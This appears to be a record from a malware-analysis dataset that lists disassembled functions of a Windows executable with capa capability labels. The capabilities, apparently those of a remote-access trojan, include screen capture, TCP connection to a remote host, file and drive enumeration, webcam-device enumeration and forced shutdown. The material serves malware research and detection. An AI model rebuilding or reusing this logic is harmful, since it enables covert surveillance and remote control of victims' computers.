joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405110
Capabilities:
Access peb ldr_data
Get ntdll base address
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x41fa08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov eax, dword [esi + 0xc]
xor edi, edi
push eax
mov dword [esp + 0x8c], edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0xc]
push 0x64
push 0x78
push ecx
mov ebx, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebp, eax
push ebp
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
mov dword [esp + 0x1c], eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 3
push ebx
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0xc]
push 0xcc0020
push edx
push eax
push edi
push edi
push ecx
push 0x64
push 0x78
push edi
push edi
push ebx
call dword [sym.imp.GDI32.dll_StretchBlt]
xor edx, edx
mov ecx, 0xa
mov dword [esp + 0x1c], edx
xor eax, eax
mov dword [esp + 0x20], edx
mov word [esp + 0x22], di
mov dword [esp + 0x24], edx
mov word [esp + 0x24], di
lea edi, [esp + 0x2c]
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x58]
push eax
mov ecx, 0xa
lea esi, [esp + 0x34]
lea edi, [esp + 0x5c]
push edx
mov dword [esp + 0x38], 0x28
mov dword [esp + 0x3c], 0x78
mov dword [esp + 0x40], 0x64
mov word [esp + 0x44], 1
mov word [esp + 0x46], 0x18
push 1
push edx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.GDI32.dll_GetDIBits]
push ebp
mov word [esp + 0x40], dx
push ebx
mov word [esp + 0x38], 0x4d42
mov dword [esp + 0x3a], 0x8cd6
mov dword [esp + 0x42], 0x36
call edi
mov eax, dword [esp + 0x30]
lea esi, [eax + eax*2]
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
imul esi, eax
push esi
call fcn.00417668
mov edx, dword [esp + 0x18]
add esp, 4
lea ecx, [esp + 0x54]
mov dword [esp + 0x10], eax
push 0
push ecx
push eax
push edx
push 0
push ebp
push ebx
call edi
mov eax, dword [esp + 0x90]
push 0x428108
push eax
call fcn.00408ec3
mov edi, eax
add esp, 8
test edi, edi
je 0x40529f
push edi
push 1
lea ecx, [esp + 0x24]
push 0xe
push ecx
call fcn.00408b0c
push edi
push 1
lea edx, [esp + 0x44]
push 0x28
push edx
call fcn.00408b0c
mov eax, dword [esp + 0x30]
push edi
push 1
push esi
push eax
call fcn.00408b0c
push edi
call fcn.00408c45
add esp, 0x34
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00417691
mov edx, dword [esp + 0x1c]
add esp, 4
push edx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebp
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
lea ecx, [esp + 0x90]
mov dword [esp + 0x88], 0xffffffff
call fcn.004171c0
mov ecx, dword [esp + 0x80]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x7c
ret 4
Function at 0x405770
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
xor eax, eax
push 0x200
mov dword [ebx + 0x1b8], eax
mov dword [ebx + 0x1c0], eax
mov dword [ebx + 0x1bc], eax
mov dword [ebx + 0x1c4], eax
call fcn.00417668
push 0x100
mov dword [ebx + 0x1b0], eax
call fcn.00417668
mov edx, eax
mov eax, dword [esp + 0x18]
or ecx, 0xffffffff
mov dword [ebx + 0x194], eax
mov edi, str.TheComputerOfTheGhost
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b4], edx
mov dword [ebx + 0x198], ecx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebx], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret 4

Function at 0x405820
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40583d
pop edi
or eax, 0xffffffff
pop esi
pop ecx
ret 8
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x1a0], eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x19e], ax
mov eax, dword [esi + 0x194]
lea edi, [esi + 0x19c]
cmp eax, 0xffffffff
mov word [edi], 2
jne 0x405892
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x194], eax
mov eax, dword [esi + 0x194]
cmp eax, 0xffffffff
jne 0x4058a5
pop edi
or eax, eax
pop esi
pop ecx
ret 8
push 0x10
push edi
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4058bc
pop edi
or eax, eax
pop esi
pop ecx
ret 8
mov edx, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x10]
push 4
push ecx
push 0x1006
push 0xffff
push edx
mov dword [esp + 0x24], 0x7530
call edi
mov ecx, dword [esi + 0x194]
lea eax, [esp + 8]
push 4
push eax
push 0x1005
push 0xffff
push ecx
mov dword [esp + 0x1c], 0x7530
call edi
pop edi
xor eax, eax
pop esi
pop ecx
ret 8
Function at 0x405970
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
or eax, 0xffffffff
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], eax
je 0x405aa6
mov ecx, dword [esi + 0x198]
mov ebp, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [esp + 0x10]
mov ebx, 1
push eax
push 0x8004667e
push ecx
mov dword [esp + 0x1c], ebx
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
lea edi, [eax + eax*4]
shl edi, 1
cmp edi, ebx
jl 0x405a16
mov edx, dword [esi + 0x198]
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0x1bc]
test eax, eax
je 0x4059e9
mov ecx, dword [esi + 0x1c4]
push ecx
call eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x405a00
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405a16
cmp dword [esi + 0x1ac], 0xffffffff
jne 0x405a16
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jle 0x4059bf
mov eax, dword [esi + 0x198]
lea edx, [esp + 0x14]
push edx
xor edi, edi
push 0x8004667e
push eax
mov dword [esp + 0x20], edi
call ebp
mov eax, dword [esi + 0x1ac]
cmp eax, 0xffffffff
jne 0x405a46
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x14
ret 4
lea ecx, [esp + 0x18]
mov dword [esi + 0x194], eax
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x24], edi
call ebp
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x1c]
push 4
push edx
push 0x1006
mov ebx, 0x7530
push 0xffff
push eax
mov dword [esp + 0x30], ebx
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0x20]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x34], ebx
call edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x405b70
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
mov al, byte [0x429ed8]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esp + 0xc], al
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0xd]
mov edx, dword [esi + 0x194]
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x405ca6
mov al, byte [esp + 0xc]
mov bl, 0x3e
cmp al, bl
jne 0x405ca6
mov ecx, dword [esi + 0x194]
push 0
lea eax, [esp + 0x11]
push 1
push eax
push ecx
call edi
cmp eax, 1
jl 0x405ca6
cmp byte [esp + 0xd], bl
jne 0x405ca6
mov eax, dword [esi + 0x194]
push 0
lea edx, [esp + 0x12]
push 1
push edx
push eax
call edi
cmp eax, 1
jl 0x405ca6
mov edx, dword [esi + 0x194]
push 0
lea ecx, [esp + 0x13]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x405ca6
movsx ebx, byte [esp + 0xf]
mov eax, dword [esp + 0xe]
shl ebx, 8
and eax, 0xff
add ebx, eax
cmp ebx, 0x400
jg 0x405ca6
lea ecx, [ebx - 4]
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00406190
mov eax, dword [esp + 0x418]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xc]
mov edi, eax
push 0x428358
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + eax], 0
lea eax, [esp + 0x14]
push eax
call fcn.004098e5
push 0x428358
push 0
call fcn.004098e5
push 0x428358
push 0
call fcn.004098e5
push eax
call fcn.004098da
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x408
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x408
ret 4
Function at 0x405ec0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x41fa68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x620
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea eax, [esp + 0x114]
push 0x104
push eax
push 0
mov dword [esp + 0x638], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call fcn.00409300
mov byte [eax + 1], 0
mov eax, dword [esp + 0x640]
add esp, 8
test eax, eax
je 0x405f2c
push 0x78
mov ecx, esi
call fcn.00405970
lea edx, [esp + 0x21c]
mov ecx, esi
push edx
call fcn.00405b70
test eax, eax
je 0x40608f
push ebx
push ebp
push edi
lea eax, [esp + 0x22c]
push 0x428358
push eax
call fcn.004098e5
push 0x428358
push 0
mov ebp, eax
call fcn.004098e5
push 0x428358
push 0
mov ebx, eax
call fcn.004098e5
push eax
call fcn.004098da
mov dword [esp + 0x30], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x429ed8
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x660]
mov ecx, ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00409989
add esp, 0x24
test eax, eax
jne 0x405ff6
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x4282bc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x429ed8
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x644]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00409989
add esp, 8
test eax, eax
pop edi
pop ebp
pop ebx
je 0x406078
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x634]
push ecx
push edx
jmp 0x406082
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [esp + 0xc]
call fcn.00405cc0
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x638]
test eax, eax
je 0x4060a1
mov ecx, esi
call fcn.00405910
lea ecx, [esp + 0x634]
mov dword [esp + 0x62c], 0xffffffff
call fcn.004171c0
mov ecx, dword [esp + 0x624]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x62c
ret 8
Function at 0x4060e0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
lea eax, [esp]
lea edx, [esp + 4]
push eax
mov eax, dword [ecx + 0x194]
push edx
push eax
mov dword [esp + 0xc], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x18]
push eax
call fcn.004172fd
add esp, 0x14
ret 4

Function at 0x406120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
test esi, esi
push edi
mov ebx, ecx
jle 0x406175
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp esi, 0x200
jle 0x406155
mov eax, dword [ebx + 0x194]
push 0
push 0x200
push edi
push eax
jmp 0x406164
test esi, esi
jle 0x406179
mov ecx, dword [ebx + 0x194]
push 0
push esi
push edi
push ecx
call ebp
cmp eax, 1
jl 0x406179
sub esi, eax
add edi, eax
test esi, esi
jg 0x40613c
jmp 0x406179
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
cmp eax, 0xffffffff
pop ebx
jne 0x406187
or eax, eax
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x406190
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
xor esi, esi
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
test eax, eax
jle 0x4061e1
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebx + 0x194]
push 0
lea eax, [esi + ebp]
push 1
push eax
push ecx
call edi
test eax, eax
je 0x4061ea
cmp eax, 0xffffffff
je 0x4061f3
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x4061be
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8
Function at 0x407060
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x41fc2e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov eax, dword [0x4285b4]
xor ebp, ebp
mov dword [esp + 0x24], ebp
mov dword [esi], eax
mov ecx, dword [0x4285b4]
lea edi, [esi + 4]
mov dword [edi], ecx
mov edx, dword [0x4285b4]
lea ebx, [esi + 8]
mov dword [ebx], edx
mov eax, dword [0x4285b4]
mov dword [esp + 0x10], eax
push 0x429ed8
mov ecx, esi
mov byte [esp + 0x28], 4
call fcn.004172fd
push 0x429ed8
mov ecx, ebx
call fcn.004172fd
push 0x429ed8
mov ecx, edi
call fcn.004172fd
mov dword [esi + 0xc], ebp
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [esp + 0x14], eax
mov ebx, 1
mov edi, 0x41
mov ecx, dword [esp + 0x14]
test ecx, ebx
je 0x40713a
push edi
lea edx, [esp + 0x14]
push str._c:_
push edx
call fcn.00416958
mov eax, dword [esp + 0x1c]
add esp, 0xc
push eax
call ebp
push eax
push edi
push edi
lea ecx, [esp + 0x1c]
push str.::0:_c:_c:_u_n
push ecx
call fcn.00416958
add esp, 0x14
lea edx, [esp + 0x10]
mov ecx, esi
push edx
call fcn.00417503
inc dword [esi + 0xc]
shl ebx, 1
inc edi
cmp edi, 0x5a
jle 0x4070f4
push ecx
lea eax, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.00416f53
mov ecx, esi
call fcn.00407190
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 3
call fcn.004171c0
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call fcn.004171c0
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 4
Function at 0x407190
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x41fc69
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14c
push esi
push edi
mov esi, ecx
mov eax, dword [0x4285b4]
mov dword [esp + 0x15c], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x164]
lea ecx, [esp + 0xc]
push eax
push str._s.
push ecx
mov byte [esp + 0x168], 3
call fcn.00416958
mov eax, dword [esp + 0x18]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x407251
lea ecx, [esp + 8]
mov byte [esp + 0x15c], 2
call fcn.004171c0
lea ecx, [esp + 0x10]
mov byte [esp + 0x15c], 1
call fcn.004171c0
lea ecx, [esp + 0xc]
mov byte [esp + 0x15c], 0
call fcn.004171c0
lea ecx, [esp + 0x164]
mov dword [esp + 0x15c], edi
call fcn.004171c0
xor eax, eax
jmp 0x40737c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov bl, 0x2e
test byte [esp + 0x1c], 0x10
je 0x4072d6
cmp byte [esp + 0x48], bl
je 0x40729c
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x38]
sub ecx, eax
lea edx, [esp + 0x14c]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
lea ecx, [esp + 0x1c]
push str.::1:_s:_s:_ld_n
push ecx
call fcn.00416958
add esp, 0x14
lea edx, [esp + 0x10]
lea ecx, [esi + 4]
push edx
jmp 0x407308
cmp byte [esp + 0x49], bl
jne 0x40730d
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
sub eax, edx
lea ecx, [esp + 0x14c]
push eax
lea edx, [esp + 0x4c]
push ecx
push edx
lea eax, [esp + 0x1c]
push str.::1:_s:_s:_ld_n
push eax
call fcn.00416958
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esi + 4]
jmp 0x407308
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
sub edx, ecx
lea eax, [esp + 0x14c]
push edx
lea ecx, [esp + 0x4c]
push eax
push ecx
lea edx, [esp + 0x1c]
push str.::2:_s:_s:_ld_n
push edx
call fcn.00416958
add esp, 0x14
lea eax, [esp + 0x10]
lea ecx, [esi + 8]
push eax
call fcn.00417503
mov ecx, dword [esi + 0xc]
inc ecx
mov dword [esi + 0xc], ecx
lea ecx, [esp + 0x1c]
push ecx
push edi
call ebp
test eax, eax
jne 0x40725b
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esi + 0xc]
lea ecx, [esp + 0x10]
mov byte [esp + 0x164], 2
call fcn.004171c0
lea ecx, [esp + 0x18]
mov byte [esp + 0x164], 1
call fcn.004171c0
lea ecx, [esp + 0x14]
mov byte [esp + 0x164], 0
call fcn.004171c0
lea ecx, [esp + 0x16c]
mov dword [esp + 0x164], 0xffffffff
call fcn.004171c0
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x154]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x158
ret 4
Function at 0x4076d0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp + 0x18]
push 0
test eax, eax
je 0x407739
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4
push 0xc
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x14
ret 4

Function at 0x4100e3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040b001
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x410126
test byte [esp + 8], 2
je 0x410126
call fcn.0040b074
mov dword [eax], 0xd
call fcn.0040b07d
mov dword [eax], 5
jmp 0x4100ff
xor eax, eax
ret

Function at 0x410808
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4295d8
cmp edx, dword [eax]
je 0x41082a
add eax, 8
inc ecx
cmp eax, 0x429668
jl 0x41081b
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4295d8]
jne 0x410958
mov eax, dword [0x42bfa8]
cmp eax, 1
je 0x410932
test eax, eax
jne 0x41085b
cmp dword [0x428b94], 1
je 0x410932
cmp edx, 0xfc
je 0x410958
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x410892
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00410e60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040f5b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4108d5
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040f5b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x423864
push edi
call fcn.00414270
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00410e60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00410e70
lea eax, [ebp - 0xa0]
push 0x423844
push eax
call fcn.00410e70
push dword [esi + 0x4295dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00410e70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004141df
add esp, 0x2c
pop edi
jmp 0x410958
lea eax, [ebp + 8]
lea esi, [esi + 0x4295dc]
push 0
push eax
push dword [esi]
call fcn.0040f5b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x415ad0
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4202d0
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push edi
mov edi, dword [esp + 0x34]
xor ebx, ebx
cmp edi, ebx
jge 0x415b09
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 8], ebx
lea eax, [esp + 8]
mov dword [esp + 0x2c], ebx
push eax
push 0x423b20
push 1
push ebx
push 0x423b80
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
je 0x415b58
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x415ba2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 0x34], ebx
mov eax, dword [esp + 8]
lea ecx, [esp + 0x34]
push ebx
push ecx
mov edx, dword [eax]
push 0x423b70
push eax
mov byte [esp + 0x3c], 1
call dword [edx + 0xc]
cmp eax, ebx
je 0x415bb7
mov eax, dword [esp + 0x34]
mov byte [esp + 0x2c], bl
cmp eax, ebx
je 0x415b8c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x415ba2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov eax, dword [esp + 0x34]
push esi
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 1
push eax
xor esi, esi
call dword [ecx + 0xc]
cmp edi, ebx
jl 0x415c76
push ebp
mov ebp, dword [esp + 0x40]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x40]
push edx
push 0x423ba0
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x415c4c
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x1c]
push ebx
mov word [esp + 0x20], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jne 0x415c42
cmp esi, edi
jne 0x415c37
mov eax, dword [esp + 0x14]
push ebp
push 0x423b10
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x20]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
inc esi
call dword [ecx + 0xc]
cmp esi, edi
jle 0x415be7
pop ebp
mov eax, dword [esp + 0x38]
mov byte [esp + 0x30], bl
cmp eax, ebx
pop esi
je 0x415c89
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x415c9f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [esp + 0x24]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8